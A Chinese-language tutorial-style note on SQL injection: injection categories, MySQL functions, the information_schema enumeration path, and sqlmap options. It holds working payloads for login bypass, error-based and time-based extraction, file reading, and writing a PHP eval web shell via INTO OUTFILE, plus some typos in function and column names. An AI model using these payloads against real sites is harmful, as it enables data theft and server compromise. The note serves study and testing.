SQL注入分类
基于注入的参数类型
1、数值型
2、字符型
存在这样的分类,个人理解是基于闭合的手段不一样 如:
htttp://xxxxxx/xxx.php?id=1 功能查询指定用户
大致SQL
数值型: select * from user where id=1 and xxxxx; 后续pyload 可以 'id=1 or 1=1 # ’ 不需要闭合可以直接输入恶意的SQL 信息
字符型:select * from user where id=‘1’ and xxxxx;后续pyload 需要闭合原来的闭合 再进行输入恶意的SQL信息如:id=1‘ or 1=1 #
基于注入点位子
1、GET类型
2、POST类型
3、cookie类型
4、HTTP head类型
基于注入的程度和顺序
1、一阶注入: 直接输入恶意SQL直接对WEB产生作用
2、二阶注入:指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间
接的对 WEB 产生危害;类似于业务处理流程上 仅对输入做了手段进行限制 对本地内容输出未作限制 ,导致第二阶段输出内容经过程序加载成为恶意SQL
大致流程:输入恶意SQL —》程序进行校验或转译(恶意SQL无害化)—》存储于数据库 —》程序触发调用存储数据—》未进行校验或转译—》执行恶意SQL—》导致数据泄露
约束型注入
原理:创建数据库存在对字段长度进行约束,输入超过其长度限制系统会进行截取,剔除多余字段
如:password字段设置为varchar(10),insert 插入语句values赋值超过限制长度将会截取
补充:MYSQL的鲁棒性
参数多出来空格将会进行处理
如:select * from xx where name='ccc ’ 与 select * from xx where name='ccc’查询结果一致
基于服务器返回的响应
有回显:
联合查询注入
报错注入
堆叠注入(不适用Oracle)
无回显
布尔注入
延时注入
SQL基本语法
1、常见函数
1.1 系统函数
version() --MYSQ版本信息
user() --当前使用库的用户名
database() --当前使用库名
@@datadir --数据库路径
@@version_compile_os --操作系统版本
使用:select version()
1.2 连接字符串函数
concat(str1,str2) --无分割连接字符 表数据查询拼接:行数据的拼接
concat_ws(separator,str1,str2) --含分隔符拼接 ;With Separato 缩写为ws;表数据查询拼接:行数据的拼接,使用字符分割更清晰每字段数据
group_concat(str1,str2) --连接一组数据 ;表数据查询拼接:列数据的拼接
1.3其他
union --合并两个或多个select语句结果集
注意点:1、相同数列 2、相似数据类型 3、在sql注入操作下需要存在回显
用法如:
select 1 as ID, 2 as name union select 3,4;
order by语句 --1、可指定列结果排序 2、可指定列号排列
注:SQL注入测试使用列号排序,order by 排序超出表列号会报错,运用它来判断列数
extractvalue --报错输入使用
例:extractvalue(1,concat(0x7e,(select @@version),0x7e)) ;#07xe目的是为了明确报错数据内容
select * from user where id=1 and extractvalue(1,concat(0x7e,(select database()),0x7e));
updatexml --报错输入使用
例:updatexml(1,concat(0x7e,(select database()),0x7e),1)
select * from user where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
left ( input_string , number_of_characters ) --从1开始取值 ;从左至右取值;
substr(str,pos,len --从1开始取值;从左往右比left灵活
if与sleep组合-延时注入
例:
select * from user where id=1 and if(left(database(),1)='t',0,sleep(5))#数据库字段判断错误将进行延时
注:sleep函数被过滤,可以使用case、while以及计算等方式来起到延时作用
load_file()导出文件 --Load_file(file_name):读取文件并返回该文件的内容作为一个字符串
使用条件
A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0#如果结果返回正常,说明具有读写权限
and (select count(*) from mysql.user)>0#返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于 max_allowed_packet
除使用者权限和输出大小(max_allowed_packet)限制外 还需要注意界面需要有回显和特殊符号转义
注:max_allowed_packet:查看 show VARIABLES like ‘max_allowed_packet’
例:
select * from user id=-1 union select 1,file_load("c://key.php")
SELECT…INTO OUTFILE ‘file_name’ --文件导入
例:一句话木马导入
Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”
例:web使用
http://xxxxx/user.php?id=-1' union select 1,'<?php @eval($_post[“mima”])?>' into outfile "c:\\tmp.php"
SQL逻辑算法
and 逻辑与 false and True =false 两个条件都满足为True
or 逻辑或 false or True =True 其中一个条件满足为True
很早之前用户登录登录界面校验不严谨的时候,出现 1’ or 1=1 # 这类字符串来作为万能密码,从而逃过密码校验成功登录
伪sql如下: select * from user where username=‘admin’ and pw=‘1’ or 1=1 (因用户数据不可知 and逻辑为false 但1=1是衡成立为)
注入流程
库-》表-》列-》具体字段内容
以mysql数据为例(>V5.0) 为什么使用V5.0以上版本来为例,因该些版本存在一个特殊的库 information_schema 该库含其他数据的库的所有信息
通过它来跟踪获取数据更加方便
mysql(information_shema)->information_schema.tables(里面对应库(table_shema)与表(table_name)的关系,根据table_shema与table_name来找自己所需库和表信息)
->information_schema.columns->(里面对应库、表、列关系,通过table_schema,table_name,column_name找到所需的列)-> 库表列都知道直接就可以提取所需数据伪sql如下:
1、寻找可用数据的库和表
select group_concat(table_name) from information_schema.tables where table_shema=database();#获取当前数据库的表名,以组合一起展示,目的是页面回显SQL注入信息是一次性展示完
2、假设第一步获取table_name=‘user’
select group_concat(column_name) from information_schema.columns where table_shema=database() and table_name='user';#获取第一步想要结果的列名
3、假设第二步获取column_name 重要列为username,password
select concat_ws(':',username,password) from user #获取username,password的数据以:分割返回展示
SQLMAP使用
一、注入模式
1、布尔注入 2、延时盲注 3、联合查询注入 5、堆叠注入:使用多个执行语执行输入 ;例 select xxx from user;select xxx from information; 6、内联注入: 查询注入一些SQL 代码后,原来的查询仍然会全部执行 例 select xxx from user where id=-1 or 1=1;
所对应的参数
–technique=(默认全部使用)
B 基于布尔盲注
T 基于时间盲注
E 基于报错注入
U 基于UNION查询(联合查询)注入
S 基于多语句查询(堆叠注入)
Q 内联注入
二、目标
-u 目标URL 例: sqlmap -u “www.xxx.com/index.php?id=1”
-m filepath +filename,文件可以理解为uri集 内容为BP和抓包工具获取请求数据
-r filepath+filename 与-m参数像似 请求方式为post
三、检测
设置SQL注入解析的位置和注入内容 --level=LEVEL 执行等级(1-5,默认1级)
lv2:cookies ;
lv3:user-agent,refere;
lv5:cookie、XFF等头部注入
四、枚举
-b, --banner 获取数据库管理系统的标识
–current-user 获取数据库管理系统当前用户
–current-db 获取数据库管理系统当前数据库
–hostname 获取数据库服务器的主机名称
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–dbs 枚举数据库管理系统数据库
–tables 枚举DBMS数据库中的表
–columns 枚举DBMS数据库表列
-D 要进行枚举的指定数据库名
-T 要进行枚举的指定表名
-C 要进行枚举的指定列名
五、文件操作
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
六、其他杂项
–batch 测试过程中, 执行所有默认配置
参考:
https://zhuanlan.zhihu.com/p/377428620
https://github.com/sqlmapproject/sqlmap/wiki/Usage
http://www.cnblogs.com/lcamry/category/846064.html